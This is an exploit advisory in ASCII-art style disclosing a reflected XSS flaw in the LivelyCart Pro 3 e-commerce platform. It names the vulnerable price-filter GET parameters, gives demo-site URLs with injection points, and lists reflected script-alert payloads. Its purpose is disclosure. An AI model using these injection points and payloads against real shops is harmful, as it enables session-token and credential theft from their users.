LivelyCart Pro version 3 suffers from a cross site scripting vulnerability.
ef3470c3fee8e0e813c2945b5ef78e86a17766d13550ed989a8641bba9fb6852┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : pro-demo.livelycart.com │
│ Vendor : livelyworks - livelyworks.net │
│ Software : LivelyCart Pro 3 - Laravel E-Commerce Platform │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Greets:
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL
CryptoJob (Twitter) twitter.com/CryptozJob
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 'min_price' is vulnerable to XSS
https://pro-demo.livelycart.com/products?min_price=11[XSS]&max_price=999&sort_by=created_at&sort_order=asc&
GET parameter 'max_price' is vulnerable to XSS
https://pro-demo.livelycart.com/products?min_price=11&max_price=999[XSS]&sort_by=created_at&sort_order=asc&
Some XSS Payloads Reflected
ss29h"><script>alert(1)</script>gub34
yljlw"><script>alert(1)</script>onc87
[-] Done